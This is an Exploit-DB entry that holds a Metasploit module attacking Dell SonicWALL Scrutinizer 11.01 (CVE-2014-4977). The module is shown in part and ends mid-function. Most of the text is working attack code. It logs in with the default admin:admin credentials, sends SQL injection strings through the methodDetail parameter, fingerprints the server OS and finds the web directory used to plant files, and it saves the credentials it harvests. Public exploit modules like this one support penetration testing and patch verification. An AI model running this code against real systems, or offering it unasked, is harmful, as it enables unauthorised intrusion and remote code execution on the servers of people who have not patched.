Exploit-DB #39836
Description: Dell SonicWALL Scrutinizer 11.01 - methodDetail SQL Injection (Metasploit)
Type: remote
Platform: multiple
Date: 2016-05-17
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  WINDOWS = /^win/i
  LINUX   = /linux/i

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in Dell SonicWALL Scrutinizer. The methodDetail
        parameter in exporters.php allows an attacker to write arbitrary files to the file system
        with an SQL Injection attack, and gain remote code execution under the context of SYSTEM
        for Windows, or as Apache for Linux.

        Authentication is required to exploit this vulnerability, but this module uses
        the default admin:admin credential.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bperry', # Original discovery, PoC, and Metasploit module
          'sinn3r'  # Metasploit module for native support
        ],
      'References'     =>
        [
          [ 'CVE', '2014-4977' ],
          [ 'BID', '68495' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Jul/44' ],
          [ 'URL','https://gist.github.com/brandonprry/76741d9a0d4f518fe297' ]
        ],
      'Arch'           => [ ARCH_X86 ],
      'Platform'       => [ 'win', 'linux' ],
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Dell SonicWALL Scrutinizer 11.01 on Windows',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win',
            }
          ],
          [
            'Dell SonicWALL Scrutinizer 11.01 Linux Appliance',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 24 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base Application path", "/" ]),
        OptString.new('USERNAME', [ true,  'The username to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true,  'The password to authenticate with', 'admin' ])
      ], self.class)
  end


  # Prints a message with the target's IP and port.
  #
  # @param msg [String] Message to print.
  # @return [void]
  def print_status(msg='')
    super("#{peer} - #{msg}")
  end


  # Prints an error message with the target's IP and port.
  #
  # @param msg [String] Message to print.
  # @return [void]
  def print_error(msg='')
    super("#{peer} - #{msg}")
  end


  # Pads NULL columns for a SQL injection string.
  #
  # @param n [Fixnum] Number of nulls
  # @return [String]
  def pad_null(n)
    padding = []

    n.times do
      padding << 'NULL'
    end

    padding * ','
  end


  # Checks (explicitly) the target for the vulnerability. To be able to check this, a
  # valid username/password is required.
  #
  # @return [void]
  def check
    begin
      res = do_login
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end

    uid = res['userid']
    sid = res['sessionid']
    pattern = Rex::Text.rand_text_alpha(10)
    sqli_str = "-6045 UNION ALL SELECT '#{pattern}',#{pad_null(19)}"
    res = do_sqli(sqli_str, sid, uid).get_json_document
    return Exploit::CheckCode::Vulnerable if res['id'].to_s == pattern

    Exploit::CheckCode::Safe
  end


  # Returns the OS information by using @@version_compile_os.
  #
  # @param sid [String] Session ID.
  # @param uid [String] User ID.
  # @return [String] The OS information.
  def get_os(sid, uid)
    sqli_str = "-6045 UNION ALL SELECT @@version_compile_os,#{pad_null(19)}"
    res = do_sqli(sqli_str, sid, uid).get_json_document
    res['id']
  end


  # Returns target's d4d directory path that will be used to upload our malicious files.
  #
  # @param os [String] OS information.
  # @return [String]
  def get_d4d_path(os)
    case os
    when WINDOWS
      # On Windows, the full d4d path looks something like this:
      # C:\Program Files\Scrutinizer\html\d4d
      '../../html/d4d'
    when LINUX
      # On the Linux appliance, the d4d path looks exactly like this:
      '/home/plixer/scrutinizer/html/d4d'
    end
  end


  # Logs into Dell SonicWALL Scrutinizer.
  #
  # @return [Hash] JSON response.
  def do_login
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, '/cgi-bin/login.cgi'),
      'vars_get' => {
        'name' => datastore['USERNAME'],
        'pwd' => datastore['PASSWORD']
      }
    })

    unless res
      fail_with(Failure::Unknown, 'The connection timed out while attempting to log in.')
    end

    res = res.get_json_document

    if res['noldapnouser']
      fail_with(Failure::NoAccess, "Username '#{datastore['USERNAME']}' is incorrect.")
    elsif res['loginfailed']
      fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.")
    end

    report_cred(datastore['USERNAME'], datastore['PASSWORD'])

    res
  end


  # Saves a valid username/password to database.
  #
  # @param username [String]
  # @param password [String]
  # @return [void]
  def report_cred(username, password)
    service_data = {
      address: rhost,
      port: rport,
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      username: username,
      private_data: passwo